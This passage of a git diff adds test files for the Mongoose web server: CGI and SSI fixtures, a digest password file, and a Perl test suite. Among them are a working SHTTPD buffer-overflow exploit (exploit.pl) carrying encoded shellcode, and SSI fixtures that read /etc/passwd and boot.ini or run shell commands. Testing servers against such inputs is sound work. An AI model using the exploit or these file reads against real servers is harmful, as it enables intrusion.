+#sleep 10;
+
+print 'CURRENT_DIR=' . getcwd() . "\n";
+print "</pre>\n";
+
+my $stuff = <<EOP ;
+<script language="javascript">
+ function set_val() {
+ }
+</script>
+<form method=get>
+ <input type=hidden name=a>
+ <input type=text name=_a onChange="javascript: this.form.a.value=this.value;">
+ <input type=submit value=get>
+</form>
+
+<form method=post>
+ <input type=text name=b>
+ <input type=submit value=post>
+</form>
+EOP
+
+system('some shit');
+
+#print STDERR "fuck!!!\n\n";
+
+print $stuff;
diff --git a/mongoose/test/exploit.pl b/mongoose/test/exploit.pl
new file mode 100644
index 0000000..2067089
--- /dev/null
+++ b/mongoose/test/exploit.pl
@@ -0,0 +1,69 @@
+#!/usr/bin/perl -w
+
+# SHTTPD Buffer Overflow (POST)
+# Tested on SHTTPD 1.34 WinXP SP1 Hebrew
+# http://shttpd.sourceforge.net
+# Codded By SkOd, 05/10/2006
+# ISRAEL
+#
+# details:
+# EAX 00000194 , ECX 009EBCA8 , EDX 00BC488C
+# EBX 00000004 , EIP 41414141 , EBP 41414141
+# ESI 00BC4358 , EDI 00BCC3CC ASCII "POST"
+# ESP 009EFC08 ASCII 41,"AA...AAA"
+
+
+use IO::Socket;
+
+sub fail(){
+syswrite STDOUT, "[-]Connect failed.\n";
+exit;
+}
+
+sub header()
+{
+print("##################################\n");
+print("SHTTPD (POST) Buffer Overflow.\n");
+print("[http://shttpd.sourceforge.net]\n");
+print("Codded By SkOd, 05/10/2006\n");
+print("##################################\n");
+}
+
+if (@ARGV < 1)
+{
+ &header();
+ print("Usage: Perl shttpd.pl [host]\n");
+ exit;
+}
+
+&header();
+$host=$ARGV[0];
+$port="80";
+$host=~ s/(http:\/\/)//eg;
+
+#win32_exec- CMD=calc Size=160 (metasploit.com)
+$shell =
+"%33%c9%83%e9%de%d9%ee%d9%74%24%f4%5b%81%73%13%52".
+"%ca%2b%e0%83%eb%fc%e2%f4%ae%22%6f%e0%52%ca%a0%a5".
+"%6e%41%57%e5%2a%cb%c4%6b%1d%d2%a0%bf%72%cb%c0%a9".
+"%d9%fe%a0%e1%bc%fb%eb%79%fe%4e%eb%94%55%0b%e1%ed".
+"%53%08%c0%14%69%9e%0f%e4%27%2f%a0%bf%76%cb%c0%86".
+"%d9%c6%60%6b%0d%d6%2a%0b%d9%d6%a0%e1%b9%43%77%c4".
+"%56%09%1a%20%36%41%6b%d0%d7%0a%53%ec%d9%8a%27%6b".
+"%22%d6%86%6b%3a%c2%c0%e9%d9%4a%9b%e0%52%ca%a0%88".
+"%0d%a2%b3%1e%d8%c4%7c%1f%b5%a9%4a%8c%31%ca%2b%e0";
+
+
+$esp="%73%C3%2A%4F"; #[4F2AC373]JMP ESP (kernel32.dll) WinXP SP1(Hebrew)
+$buff=("%41"x8).$esp.("%90"x85).$shell; #Shellcode+NOP=245
+
+print length($buff) . "\n";
+
+$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "$port") || &fail();
+ syswrite STDOUT,"[+]Connected.\n";
+ print $sock "POST /$buff HTTP/1.1\n";
+ print $sock "HOST:$host\n\n";
+ syswrite STDOUT,"[+]Done.\n";
+close($sock);
+
+# milw0rm.com [2006-10-05]
diff --git a/mongoose/test/hello.cgi b/mongoose/test/hello.cgi
new file mode 100755
index 0000000..6a288d2
--- /dev/null
+++ b/mongoose/test/hello.cgi
@@ -0,0 +1,6 @@
+#!/bin/sh
+
+echo "Content-Type: text/plain"
+echo
+
+echo $QUERY_STRING
diff --git a/mongoose/test/hello.txt b/mongoose/test/hello.txt
new file mode 100644
index 0000000..7feddbf
--- /dev/null
+++ b/mongoose/test/hello.txt
@@ -0,0 +1 @@
+simple text file
diff --git a/mongoose/test/passfile b/mongoose/test/passfile
new file mode 100644
index 0000000..58c313a
--- /dev/null
+++ b/mongoose/test/passfile
@@ -0,0 +1,3 @@
+guest:mydomain.com:485264dcc977a1925370b89d516a1477
+Administrator:mydomain.com:e32daa3028eba04dc53e2d781e6fc983
+
diff --git a/mongoose/test/sh.cgi b/mongoose/test/sh.cgi
new file mode 100755
index 0000000..0a4d1a1
--- /dev/null
+++ b/mongoose/test/sh.cgi
@@ -0,0 +1,6 @@
+#!/bin/sh
+
+echo "Content-Type: text/plain"
+echo
+
+echo "This is shell script CGI."
diff --git a/mongoose/test/ssi1.shtml b/mongoose/test/ssi1.shtml
new file mode 100644
index 0000000..0dd64a2
--- /dev/null
+++ b/mongoose/test/ssi1.shtml
@@ -0,0 +1,5 @@
+<html><pre>
+ssi_begin
+<!--#include file="Makefile" -->
+ssi_end
+</pre></html>
diff --git a/mongoose/test/ssi2.shtml b/mongoose/test/ssi2.shtml
new file mode 100644
index 0000000..787f302
--- /dev/null
+++ b/mongoose/test/ssi2.shtml
@@ -0,0 +1,5 @@
+<html><pre>
+ssi_begin
+<!--#include virtual="embed.c" -->
+ssi_end
+</pre></html>
diff --git a/mongoose/test/ssi3.shtml b/mongoose/test/ssi3.shtml
new file mode 100644
index 0000000..c7beb0f
--- /dev/null
+++ b/mongoose/test/ssi3.shtml
@@ -0,0 +1,5 @@
+<html><pre>
+ssi_begin
+<!--#exec "ls -l" -->
+ssi_end
+</pre></html>
diff --git a/mongoose/test/ssi4.shtml b/mongoose/test/ssi4.shtml
new file mode 100644
index 0000000..5ad6332
--- /dev/null
+++ b/mongoose/test/ssi4.shtml
@@ -0,0 +1,5 @@
+<html><pre>
+ssi_begin
+<!--#exec "dir /w" -->
+ssi_end
+</pre></html>
diff --git a/mongoose/test/ssi5.shtml b/mongoose/test/ssi5.shtml
new file mode 100644
index 0000000..de3e49b
--- /dev/null
+++ b/mongoose/test/ssi5.shtml
@@ -0,0 +1,5 @@
+<html><pre>
+ssi_begin
+<!--#include file="/etc/passwd" -->
+ssi_end
+</pre></html>
diff --git a/mongoose/test/ssi6.shtml b/mongoose/test/ssi6.shtml
new file mode 100644
index 0000000..2fd8b51
--- /dev/null
+++ b/mongoose/test/ssi6.shtml
@@ -0,0 +1,5 @@
+<html><pre>
+ssi_begin
+<!--#include file="c:\boot.ini" -->
+ssi_end
+</pre></html>
diff --git a/mongoose/test/ssi7.shtml b/mongoose/test/ssi7.shtml
new file mode 100644
index 0000000..44a5add
--- /dev/null
+++ b/mongoose/test/ssi7.shtml
@@ -0,0 +1,6 @@
+
+<html><pre>
+ssi_begin
+<!--#include "embed.c" -->
+ssi_end
+</pre></html>
diff --git a/mongoose/test/ssi8.shtml b/mongoose/test/ssi8.shtml
new file mode 100644
index 0000000..ec7f8b3
--- /dev/null
+++ b/mongoose/test/ssi8.shtml
@@ -0,0 +1 @@
+<!--#include "ssi9.shtml" -->
diff --git a/mongoose/test/ssi9.shtml b/mongoose/test/ssi9.shtml
new file mode 100644
index 0000000..9203075
--- /dev/null
+++ b/mongoose/test/ssi9.shtml
@@ -0,0 +1,3 @@
+ssi_begin
+<!--#include file="Makefile" -->
+ssi_end
diff --git a/mongoose/test/test.pl b/mongoose/test/test.pl
new file mode 100644
index 0000000..105008d
--- /dev/null
+++ b/mongoose/test/test.pl
@@ -0,0 +1,513 @@
+#!/usr/bin/env perl
+# This script is used to test Mongoose web server
+# $Id: test.pl 516 2010-05-03 12:54:37Z valenok $
+
+use IO::Socket;
+use File::Path;
+use strict;
+use warnings;
+#use diagnostics;
+
+sub on_windows { $^O =~ /win32/i; }
+
+my $port = 23456;
+my $pid = undef;
+my $num_requests;
+my $dir_separator = on_windows() ? '\\' : '/';
+my $copy_cmd = on_windows() ? 'copy' : 'cp';
+my $test_dir_uri = "test_dir";
+my $root = 'test';
+my $test_dir = $root . $dir_separator. $test_dir_uri;
+my $config = 'mongoose.conf';
+my $exe = '.' . $dir_separator . 'mongoose';
+my $embed_exe = '.' . $dir_separator . 'embed';
+my $unit_test_exe = '.' . $dir_separator . 'unit_test';
+my $exit_code = 0;
+
+my @files_to_delete = ('debug.log', 'access.log', $config, "$root/a/put.txt",
+ "$root/a+.txt", "$root/.htpasswd", "$root/binary_file", "$root/a",
+ "$root/myperl", $embed_exe, $unit_test_exe);
+
+END {
+ unlink @files_to_delete;
+ kill_spawned_child();
+ File::Path::rmtree($test_dir);
+ exit $exit_code;
+}
+
+sub fail {
+ print "FAILED: @_\n";
+ $exit_code = 1;
+ exit 1;
+}
+
+sub get_num_of_log_entries {
+ open FD, "access.log" or return 0;
+ my @lines = (<FD>);
+ close FD;
+ return scalar @lines;
+}
+
+# Send the request to the 127.0.0.1:$port and return the reply
+sub req {
+ my ($request, $inc, $timeout) = @_;
+ my $sock = IO::Socket::INET->new(Proto=>"tcp",
+ PeerAddr=>'127.0.0.1', PeerPort=>$port);
+ fail("Cannot connect: $!") unless $sock;
+ $sock->autoflush(1);
+ foreach my $byte (split //, $request) {
+ last unless print $sock $byte;
+ select undef, undef, undef, .001 if length($request) < 256;
+ }
+ my ($out, $buf) = ('', '');
+ eval {
+ alarm $timeout if $timeout;
+ $out .= $buf while (sysread($sock, $buf, 1024) > 0);
+ alarm 0 if $timeout;
+ };
+ close $sock;
+
+ $num_requests += defined($inc) ? $inc : 1;
+ my $num_logs = get_num_of_log_entries();
+
+ unless ($num_requests == $num_logs) {
+ fail("Request has not been logged: [$request], output: [$out]");
+ }
+
+ return $out;
+}
+
+# Send the request. Compare with the expected reply. Fail if no match
+sub o {
+ my ($request, $expected_reply, $message, $num_logs) = @_;
+ print "==> $message ... ";
+ my $reply = req($request, $num_logs);
+ if ($reply =~ /$expected_reply/s) {
+ print "OK\n";
+ } else {
+ fail("Requested: [$request]\nExpected: [$expected_reply], got: [$reply]");
+ }
+}
+
+# Spawn a server listening on specified port
+sub spawn {
+ my ($cmdline) = @_;
+ print 'Executing: ', @_, "\n";
+ if (on_windows()) {
+ my @args = split /\s+/, $cmdline;
+ my $executable = $args[0];
+ $executable .= '.exe';
+ Win32::Spawn($executable, $cmdline, $pid);
+ die "Cannot spawn @_: $!" unless $pid;
+ } else {
+ unless ($pid = fork()) {
+ exec $cmdline;
+ die "cannot exec [$cmdline]: $!\n";
+ }
+ }
+ sleep 1;
+}
+
+sub write_file {
+ open FD, ">$_[0]" or fail "Cannot open $_[0]: $!";
+ binmode FD;
+ print FD $_[1];
+ close FD;
+}
+
+sub read_file {
+ open FD, $_[0] or fail "Cannot open $_[0]: $!";
+ my @lines = <FD>;
+ close FD;
+ return join '', @lines;
+}
+
+sub kill_spawned_child {
+ if (defined($pid)) {
+ kill(9, $pid);
+ waitpid($pid, 0);
+ }
+}
+
+####################################################### ENTRY POINT
+
+unlink @files_to_delete;
+$SIG{PIPE} = 'IGNORE';
+$SIG{ALRM} = sub { die "timeout\n" };
+#local $| =1;
+
+# Make sure we export only symbols that start with "mg_", and keep local
+# symbols static.
+if ($^O =~ /darwin|bsd|linux/) {
+ my $out = `(cc -c mongoose.c && nm mongoose.o) | grep ' T '`;
+ foreach (split /\n/, $out) {
+ /T\s+_?mg_.+/ or fail("Exported symbol $_")
+ }
+}
+
+if (scalar(@ARGV) > 0 and $ARGV[0] eq 'embedded') {
+ do_embedded_test();
+ exit 0;
+}
+
+if (scalar(@ARGV) > 0 and $ARGV[0] eq 'unit') {
+ do_unit_test();
+ exit 0;
+}
+
+# Make sure we load config file if no options are given.
+# Command line options override config files settings
+write_file($config, "access_log_file access.log\nlistening_ports 12345\n");
+spawn("$exe -p $port");
+o("GET /test/hello.txt HTTP/1.0\n\n", 'HTTP/1.1 200 OK', 'Loading config file');
+unlink $config;
+kill_spawned_child();
+
+# Spawn the server on port $port
+my $cmd = "$exe ".
+ "-listening_ports $port ".
+ "-access_log_file access.log ".
+ "-error_log_file debug.log ".
+ "-cgi_environment CGI_FOO=foo,CGI_BAR=bar,CGI_BAZ=baz " .
+ "-extra_mime_types .bar=foo/bar,.tar.gz=blah,.baz=foo " .
+ '-put_delete_passwords_file test/passfile ' .
+ '-access_control_list -0.0.0.0/0,+127.0.0.1 ' .
+ "-document_root $root ".
+ "-url_rewrite_patterns /aiased=/etc/,/ta=$test_dir";
+$cmd .= ' -cgi_interpreter perl' if on_windows();
+spawn($cmd);
+
+# Try to overflow: Send very long request
+req('POST ' . '/..' x 100 . 'ABCD' x 3000 . "\n\n", 0); # don't log this one
+
+o("GET /hello.txt HTTP/1.0\n\n", 'HTTP/1.1 200 OK', 'GET regular file');
+o("GET /hello.txt HTTP/1.0\n\n", 'Content-Length: 17\s',
+ 'GET regular file Content-Length');
+o("GET /%68%65%6c%6c%6f%2e%74%78%74 HTTP/1.0\n\n",
+ 'HTTP/1.1 200 OK', 'URL-decoding');
+
+# Break CGI reading after 1 second. We must get full output.
+# Since CGI script does sleep, we sleep as well and increase request count
+# manually.
+my $slow_cgi_reply;
+print "==> Slow CGI output ... ";
+fail('Slow CGI output forward reply=', $slow_cgi_reply) unless
+ ($slow_cgi_reply = req("GET /timeout.cgi HTTP/1.0\r\n\r\n", 0, 1)) =~ /Some data/s;
+print "OK\n";
+sleep 3;
+$num_requests++;
+
+# '+' in URI must not be URL-decoded to space
+write_file("$root/a+.txt", '');
+o("GET /a+.txt HTTP/1.0\n\n", 'HTTP/1.1 200 OK', 'URL-decoding, + in URI');
+
+o("GET /%5c/a.txt HTTP/1.0\n\n", 'blah', 'GET dir backslash');
+
+# Test HTTP version parsing
+o("GET / HTTPX/1.0\r\n\r\n", '400 Bad Request', 'Bad HTTP Version', 0);
+o("GET / HTTP/x.1\r\n\r\n", '505 HTTP', 'Bad HTTP maj Version');
+o("GET / HTTP/1.1z\r\n\r\n", '505 HTTP', 'Bad HTTP min Version');
+o("GET / HTTP/02.0\r\n\r\n", '505 HTTP version not supported',
+ 'HTTP Version >1.1');
+
+# File with leading single dot
+o("GET /.leading.dot.txt HTTP/1.0\n\n", 'abc123', 'Leading dot 1');
+o("GET /...leading.dot.txt HTTP/1.0\n\n", 'abc123', 'Leading dot 2');
+o("GET /../\\\\/.//...leading.dot.txt HTTP/1.0\n\n", 'abc123', 'Leading dot 3')
+ if on_windows();
+o("GET .. HTTP/1.0\n\n", '400 Bad Request', 'Leading dot 4', 0);
+
+mkdir $test_dir unless -d $test_dir;
+o("GET /$test_dir_uri/not_exist HTTP/1.0\n\n",
+ 'HTTP/1.1 404', 'PATH_INFO loop problem');
+o("GET /$test_dir_uri HTTP/1.0\n\n", 'HTTP/1.1 301', 'Directory redirection');
+o("GET /$test_dir_uri/ HTTP/1.0\n\n", 'Modified', 'Directory listing');
+write_file("$test_dir/index.html", "tralala");
+o("GET /$test_dir_uri/ HTTP/1.0\n\n", 'tralala', 'Index substitution');
+o("GET / HTTP/1.0\n\n", 'embed.c', 'Directory listing - file name');
+o("GET /ta/ HTTP/1.0\n\n", 'Modified', 'Aliases');
+o("GET /not-exist HTTP/1.0\r\n\n", 'HTTP/1.1 404', 'Not existent file');
+mkdir $test_dir . $dir_separator . 'x';
+my $path = $test_dir . $dir_separator . 'x' . $dir_separator . 'index.cgi';
+write_file($path, read_file($root . $dir_separator . 'env.cgi'));
+chmod(0755, $path);
+o("GET /$test_dir_uri/x/ HTTP/1.0\n\n", "Content-Type: text/html\r\n\r\n",
+ 'index.cgi execution');
+o("GET /$test_dir_uri/x/ HTTP/1.0\n\n",
+ "SCRIPT_FILENAME=test/test_dir/x/index.cgi", 'SCRIPT_FILENAME');
+o("GET /ta/x/ HTTP/1.0\n\n", "SCRIPT_NAME=/ta/x/index.cgi",
+ 'Aliases SCRIPT_NAME');
+o("GET /hello.txt HTTP/1.1\n\n", 'Connection: close', 'No keep-alive');
+
+$path = $test_dir . $dir_separator . 'x' . $dir_separator . 'a.cgi';
+system("ln -s `which perl` $root/myperl") == 0 or fail("Can't symlink perl");
+write_file($path, "#!../../myperl\n" .
+ "print \"Content-Type: text/plain\\n\\nhi\";");
+chmod(0755, $path);
+o("GET /$test_dir_uri/x/a.cgi HTTP/1.0\n\n", "hi", 'Relative CGI interp path');
+
+#o("GET /hello.txt HTTP/1.1\n\n GET /hello.txt HTTP/1.0\n\n",
+# 'HTTP/1.1 200.+keep-alive.+HTTP/1.1 200.+close',
+# 'Request pipelining', 2);
+
+o("GET * HTTP/1.0\n\n", "^HTTP/1.1 404", '* URI');
+
+my $mime_types = {
+ html => 'text/html',
+ htm => 'text/html',
+ txt => 'text/plain',
+ unknown_extension => 'text/plain',
+ js => 'application/x-javascript',
+ css => 'text/css',
+ jpg => 'image/jpeg',
+ c => 'text/plain',
+ 'tar.gz' => 'blah',
+ bar => 'foo/bar',
+ baz => 'foo',
+};
+
+foreach my $key (keys %$mime_types) {
+ my $filename = "_mime_file_test.$key";
+ write_file("$root/$filename", '');
+ o("GET /$filename HTTP/1.0\n\n",
+ "Content-Type: $mime_types->{$key}", ".$key mime type");
+ unlink "$root/$filename";
+}
+
+# Get binary file and check the integrity
+my $binary_file = 'binary_file';
+my $f2 = '';
+foreach (0..123456) { $f2 .= chr(int(rand() * 255)); }
+write_file("$root/$binary_file", $f2);
+my $f1 = req("GET /$binary_file HTTP/1.0\r\n\n");
+while ($f1 =~ /^.*\r\n/) { $f1 =~ s/^.*\r\n// }
+$f1 eq $f2 or fail("Integrity check for downloaded binary file");
+
+my $range_request = "GET /hello.txt HTTP/1.1\nConnection: close\n".
+"Range: bytes=3-5\r\n\r\n";
+o($range_request, '206 Partial Content', 'Range: 206 status code');
+o($range_request, 'Content-Length: 3\s', 'Range: Content-Length');
+o($range_request, 'Content-Range: bytes 3-5/17', 'Range: Content-Range');
+o($range_request, '\nple$', 'Range: body content');
+
+# Test directory sorting. Sleep between file creation for 1.1 seconds,
+# to make sure modification time are different.
+mkdir "$test_dir/sort";
+write_file("$test_dir/sort/11", 'xx');
+select undef, undef, undef, 1.1;
+write_file("$test_dir/sort/aa", 'xxxx');
+select undef, undef, undef, 1.1;
+write_file("$test_dir/sort/bb", 'xxx');
+select undef, undef, undef, 1.1;
+write_file("$test_dir/sort/22", 'x');
+
+o("GET /$test_dir_uri/sort/?n HTTP/1.0\n\n",
+ '200 OK.+>11<.+>22<.+>aa<.+>bb<',
+ 'Directory listing (name, ascending)');
+o("GET /$test_dir_uri/sort/?nd HTTP/1.0\n\n",
+ '200 OK.+>bb<.+>aa<.+>22<.+>11<',
+ 'Directory listing (name, descending)');
+o("GET /$test_dir_uri/sort/?s HTTP/1.0\n\n",
+ '200 OK.+>22<.+>11<.+>bb<.+>aa<',
+ 'Directory listing (size, ascending)');
+o("GET /$test_dir_uri/sort/?sd HTTP/1.0\n\n",
+ '200 OK.+>aa<.+>bb<.+>11<.+>22<',
+ 'Directory listing (size, descending)');
+o("GET /$test_dir_uri/sort/?d HTTP/1.0\n\n",
+ '200 OK.+>11<.+>aa<.+>bb<.+>22<',
+ 'Directory listing (modification time, ascending)');
+o("GET /$test_dir_uri/sort/?dd HTTP/1.0\n\n",
+ '200 OK.+>22<.+>bb<.+>aa<.+>11<',
+ 'Directory listing (modification time, descending)');
+
+unless (scalar(@ARGV) > 0 and $ARGV[0] eq "basic_tests") {
+ # Check that .htpasswd file existence trigger authorization
+ write_file("$root/.htpasswd", 'user with space, " and comma:mydomain.com:5deda12442309cbdcdffc6b2737a894f');
+ o("GET /hello.txt HTTP/1.1\n\n", '401 Unauthorized',
+ '.htpasswd - triggering auth on file request');
+ o("GET / HTTP/1.1\n\n", '401 Unauthorized',
+ '.htpasswd - triggering auth on directory request');
+
+ # Test various funky things in an authentication header.
+ o("GET /hello.txt HTTP/1.0\nAuthorization: Digest eq== empty=\"\", empty2=, quoted=\"blah foo bar, baz\\\"\\\" more\\\"\", unterminatedquoted=\" doesn't stop\n\n",
+ '401 Unauthorized', 'weird auth values should not cause crashes');
+ my $auth_header = "Digest username=\"user with space, \\\" and comma\", ".
+ "realm=\"mydomain.com\", nonce=\"1291376417\", uri=\"/\",".
+ "response=\"e8dec0c2a1a0c8a7e9a97b4b5ea6a6e6\", qop=auth, nc=00000001, cnonce=\"1a49b53a47a66e82\"";
+ o("GET /hello.txt HTTP/1.0\nAuthorization: $auth_header\n\n", 'HTTP/1.1 200 OK', 'GET regular file with auth');
+ unlink "$root/.htpasswd";
+
+ o("GET /env.cgi HTTP/1.0\n\r\n", 'HTTP/1.1 200 OK', 'GET CGI file');
+ o("GET /bad2.cgi HTTP/1.0\n\n", "HTTP/1.1 123 Please pass me to the client\r",
+ 'CGI Status code text');
+ o("GET /sh.cgi HTTP/1.0\n\r\n", 'shell script CGI',
+ 'GET sh CGI file') unless on_windows();
+ o("GET /env.cgi?var=HELLO HTTP/1.0\n\n", 'QUERY_STRING=var=HELLO',
+ 'QUERY_STRING wrong');
+ o("POST /env.cgi HTTP/1.0\r\nContent-Length: 9\r\n\r\nvar=HELLO",
+ 'var=HELLO', 'CGI POST wrong');
+ o("POST /env.cgi HTTP/1.0\r\nContent-Length: 9\r\n\r\nvar=HELLO",
+ '\x0aCONTENT_LENGTH=9', 'Content-Length not being passed to CGI');
+ o("GET /env.cgi HTTP/1.0\nMy-HdR: abc\n\r\n",
+ 'HTTP_MY_HDR=abc', 'HTTP_* env');
+ o("GET /env.cgi HTTP/1.0\n\r\nSOME_TRAILING_DATA_HERE",
+ 'HTTP/1.1 200 OK', 'GET CGI with trailing data');
+
+ o("GET /env.cgi%20 HTTP/1.0\n\r\n",
+ 'HTTP/1.1 404', 'CGI Win32 code disclosure (%20)');
+ o("GET /env.cgi%ff HTTP/1.0\n\r\n",
+ 'HTTP/1.1 404', 'CGI Win32 code disclosure (%ff)');
+ o("GET /env.cgi%2e HTTP/1.0\n\r\n",
+ 'HTTP/1.1 404', 'CGI Win32 code disclosure (%2e)');
+ o("GET /env.cgi%2b HTTP/1.0\n\r\n",
+ 'HTTP/1.1 404', 'CGI Win32 code disclosure (%2b)');
+ o("GET /env.cgi HTTP/1.0\n\r\n", '\nHTTPS=off\n', 'CGI HTTPS');
+ o("GET /env.cgi HTTP/1.0\n\r\n", '\nCGI_FOO=foo\n', '-cgi_env 1');
+ o("GET /env.cgi HTTP/1.0\n\r\n", '\nCGI_BAR=bar\n', '-cgi_env 2');
+ o("GET /env.cgi HTTP/1.0\n\r\n", '\nCGI_BAZ=baz\n', '-cgi_env 3');
+ o("GET /env.cgi/a/b HTTP/1.0\n\r\n", 'PATH_INFO=/a/b\n', 'PATH_INFO');
+
+ # Check that CGI's current directory is set to script's directory
+ my $copy_cmd = on_windows() ? 'copy' : 'cp';
+ system("$copy_cmd $root" . $dir_separator . "env.cgi $test_dir" .
+ $dir_separator . 'env.cgi');
+ o("GET /$test_dir_uri/env.cgi HTTP/1.0\n\n",
+ "CURRENT_DIR=.*$root/$test_dir_uri", "CGI chdir()");
+
+ # SSI tests
+ o("GET /ssi1.shtml HTTP/1.0\n\n",
+ 'ssi_begin.+CFLAGS.+ssi_end', 'SSI #include file=');
+ o("GET /ssi2.shtml HTTP/1.0\n\n",
+ 'ssi_begin.+Unit test.+ssi_end', 'SSI #include virtual=');
+ my $ssi_exec = on_windows() ? 'ssi4.shtml' : 'ssi3.shtml';
+ o("GET /$ssi_exec HTTP/1.0\n\n",
+ 'ssi_begin.+Makefile.+ssi_end', 'SSI #exec');
+ my $abs_path = on_windows() ? 'ssi6.shtml' : 'ssi5.shtml';
+ my $word = on_windows() ? 'boot loader' : 'root';
+ o("GET /$abs_path HTTP/1.0\n\n",
+ "ssi_begin.+$word.+ssi_end", 'SSI #include file= (absolute)');
+ o("GET /ssi7.shtml HTTP/1.0\n\n",
+ 'ssi_begin.+Unit test.+ssi_end', 'SSI #include "..."');
+ o("GET /ssi8.shtml HTTP/1.0\n\n",
+ 'ssi_begin.+CFLAGS.+ssi_end', 'SSI nested #includes');
+
+ # Manipulate the passwords file
+ my $path = 'test_htpasswd';
+ unlink $path;
+ system("$exe -A $path a b c") == 0
+ or fail("Cannot add user in a passwd file");
+ system("$exe -A $path a b c2") == 0
+ or fail("Cannot edit user in a passwd file");
+ my $content = read_file($path);
+ $content =~ /^b:a:\w+$/gs or fail("Bad content of the passwd file");
+ unlink $path;
+
+ do_PUT_test();
+ kill_spawned_child();
+ do_unit_test();
+ do_embedded_test();
+}
+
+sub do_PUT_test {
+ # This only works because mongoose currently doesn't look at the nonce.
+ # It should really be rejected...
+ my $auth_header = "Authorization: Digest username=guest, ".
+ "realm=mydomain.com, nonce=1145872809, uri=/put.txt, ".
+ "response=896327350763836180c61d87578037d9, qop=auth, ".
+ "nc=00000002, cnonce=53eddd3be4e26a98\n";
+
+ o("PUT /a/put.txt HTTP/1.0\nContent-Length: 7\n$auth_header\n1234567",
+ "HTTP/1.1 201 OK", 'PUT file, status 201');
+ fail("PUT content mismatch")
+ unless read_file("$root/a/put.txt") eq '1234567';
+ o("PUT /a/put.txt HTTP/1.0\nContent-Length: 4\n$auth_header\nabcd",
+ "HTTP/1.1 200 OK", 'PUT file, status 200');
+ fail("PUT content mismatch")
+ unless read_file("$root/a/put.txt") eq 'abcd';
+ o("PUT /a/put.txt HTTP/1.0\n$auth_header\nabcd",
+ "HTTP/1.1 411 Length Required", 'PUT 411 error');
+ o("PUT /a/put.txt HTTP/1.0\nExpect: blah\nContent-Length: 1\n".
+ "$auth_header\nabcd",
+ "HTTP/1.1 417 Expectation Failed", 'PUT 417 error');
+ o("PUT /a/put.txt HTTP/1.0\nExpect: 100-continue\nContent-Length: 4\n".
+ "$auth_header\nabcd",
+ "HTTP/1.1 100 Continue.+HTTP/1.1 200", 'PUT 100-Continue');
+}
+
+sub do_unit_test {
+ my $cmd = "cc -W -Wall -o $unit_test_exe $root/unit_test.c -I. ".
+ "-pthread -DNO_SSL ";
+ if (on_windows()) {
+ $cmd = "cl $root/embed.c mongoose.c /I. /nologo /DNO_SSL ".
+ "/DLISTENING_PORT=\\\"$port\\\" /link /out:$embed_exe.exe ws2_32.lib ";
+ }
+ print $cmd, "\n";
+ system($cmd) == 0 or fail("Cannot compile unit test");
+ system($unit_test_exe) == 0 or fail("Unit test failed!");
+}
+
+sub do_embedded_test {
+ my $cmd = "cc -W -Wall -o $embed_exe $root/embed.c mongoose.c -I. ".
+ "-pthread -DNO_SSL -DLISTENING_PORT=\\\"$port\\\"";
+ if (on_windows()) {
+ $cmd = "cl $root/embed.c mongoose.c /I. /nologo /DNO_SSL ".
+ "/DLISTENING_PORT=\\\"$port\\\" /link /out:$embed_exe.exe ws2_32.lib ";
+ }
+ print $cmd, "\n";
+ system($cmd) == 0 or fail("Cannot compile embedded unit test");
+
+ spawn("./$embed_exe");
+ o("GET /test_get_header HTTP/1.0\nHost: blah\n\n",
+ 'Value: \[blah\]', 'mg_get_header', 0);
+ o("GET /test_get_var?a=b&my_var=foo&c=d HTTP/1.0\n\n",
+ 'Value: \[foo\]', 'mg_get_var 1', 0);
+ o("GET /test_get_var?my_var=foo&c=d HTTP/1.0\n\n",
+ 'Value: \[foo\]', 'mg_get_var 2', 0);
+ o("GET /test_get_var?a=b&my_var=foo HTTP/1.0\n\n",
+ 'Value: \[foo\]', 'mg_get_var 3', 0);
+ o("POST /test_get_var HTTP/1.0\nContent-Length: 10\n\n".
+ "my_var=foo", 'Value: \[foo\]', 'mg_get_var 4', 0);
+ o("POST /test_get_var HTTP/1.0\nContent-Length: 18\n\n".
+ "a=b&my_var=foo&c=d", 'Value: \[foo\]', 'mg_get_var 5', 0);
+ o("POST /test_get_var HTTP/1.0\nContent-Length: 14\n\n".
+ "a=b&my_var=foo", 'Value: \[foo\]', 'mg_get_var 6', 0);
+ o("GET /test_get_var?a=one%2btwo&my_var=foo& HTTP/1.0\n\n",
+ 'Value: \[foo\]', 'mg_get_var 7', 0);
+ o("GET /test_get_var?my_var=one%2btwo&b=two%2b HTTP/1.0\n\n",
+ 'Value: \[one\+two\]', 'mg_get_var 8', 0);
+
+ # + in form data MUST be decoded to space
+ o("POST /test_get_var HTTP/1.0\nContent-Length: 10\n\n".
+ "my_var=b+c", 'Value: \[b c\]', 'mg_get_var 9', 0);
+
+ # Test that big POSTed vars are not truncated
+ my $my_var = 'x' x 64000;
+ o("POST /test_get_var HTTP/1.0\nContent-Length: 64007\n\n".
+ "my_var=$my_var", 'Value size: \[64000\]', 'mg_get_var 10', 0);
+
+ # Other methods should also work
+ o("PUT /test_get_var HTTP/1.0\nContent-Length: 10\n\n".
+ "my_var=foo", 'Value: \[foo\]', 'mg_get_var 11', 0);
+
+ o("POST /test_get_request_info?xx=yy HTTP/1.0\nFoo: bar\n".
+ "Content-Length: 3\n\na=b",
+ 'Method: \[POST\].URI: \[/test_get_request_info\].'.
+ 'HTTP version: \[1.0\].HTTP header \[Foo\]: \[bar\].'.
+ 'HTTP header \[Content-Length\]: \[3\].'.
+ 'Query string: \[xx=yy\].'.
+ 'Remote IP: \[\d+\].Remote port: \[\d+\].'.
+ 'Remote user: \[\]'
+ , 'request_info', 0);
+ o("GET /not_exist HTTP/1.0\n\n", 'Error: \[404\]', '404 handler', 0);
+ o("bad request\n\n", 'Error: \[400\]', '* error handler', 0);
+# o("GET /foo/secret HTTP/1.0\n\n",
+# '401 Unauthorized', 'mg_protect_uri', 0);
+# o("GET /foo/secret HTTP/1.0\nAuthorization: Digest username=bill\n\n",
+# '401 Unauthorized', 'mg_protect_uri (bill)', 0);
+# o("GET /foo/secret HTTP/1.0\nAuthorization: Digest username=joe\n\n",
+# '200 OK', 'mg_protect_uri (joe)', 0);
+
+ kill_spawned_child();
+}
+
+print "SUCCESS! All tests passed.\n";
diff --git a/mongoose/test/timeout.cgi b/mongoose/test/timeout.cgi
new file mode 100755
index 0000000..3248205
--- /dev/null
+++ b/mongoose/test/timeout.cgi
@@ -0,0 +1,12 @@
+#!/usr/bin/env perl
+
+# Make stdout unbuffered
+use FileHandle;
+STDOUT->autoflush(1);
+
+# This script outputs some content, then sleeps for 5 seconds, then exits.
+# Web server should return the content immediately after it is sent,
